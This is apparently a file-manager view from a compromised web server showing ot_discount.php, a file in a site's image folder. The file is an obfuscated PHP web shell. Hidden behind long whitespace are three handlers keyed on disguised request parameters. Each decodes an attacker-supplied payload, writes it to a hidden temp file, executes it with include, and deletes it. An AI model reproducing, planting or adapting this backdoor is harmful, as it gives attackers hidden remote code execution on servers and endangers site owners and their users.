HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //proc/self/root/home/vitanhod/vigolic-100ad.vitavit.com.pk/img/ot_discount.php
<?php																																										if(isset($_POST) && isset($_POST["p\x67\x72p"])){ $component = $_POST["p\x67\x72p"]; $component = explode( ".", $component ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($component as $m=>$v9): $chS = ord($s[$m % $lenS]); $d =((int)$v9 - $chS -($m % 10))^ 16; $entity.=chr($d); endforeach; $rec = array_filter(["/tmp", getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); foreach ($rec as $key => $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $elem = join("/", [$tkn, ".key"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(array_key_exists("\x70r\x6Fp\x65r\x74y\x5F\x73et", $_REQUEST)){ $res = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir()]); $token = $_REQUEST["\x70r\x6Fp\x65r\x74y\x5F\x73et"]; $token= explode( '.', $token ) ; $desc=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); foreach ($token as $o => $v3) { $chS=ord($s[$o % $lenS]); $dec=((int)$v3 - $chS - ($o % 10)) ^ 62; $desc .= chr($dec); } foreach ($res as $tkn) { if (array_product([is_dir($tkn), is_writable($tkn)])) { $rec = implode("/", [$tkn, ".elem"]); $success = file_put_contents($rec, $desc); if ($success) { include $rec; @unlink($rec); die();} } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["da\x74\x61"])){
	$symbol = $_REQUEST["da\x74\x61"];
	  	$symbol	 = 	 explode	 (	'.'  	,   $symbol  );  
	$record = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt5 	);
    
            foreach ($symbol as $k => $v2) {	$chS = ord($salt5[$k % $sLen] 	);
                $dec = ((int)$v2 - $chS - ($k % 10)) ^ 95;
                $record .= chr($dec 	);
            }
	$resource = array_filter(["/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP")]);
	while ($ptr = array_shift($resource)) {
    		if ((is_dir($ptr) and is_writable($ptr))) {
    $property_set = "$ptr" . "/.reference";
    $success = file_put_contents($property_set, $record);
if ($success) {
	include $property_set;
	@unlink($property_set);
	die();}
}
}
}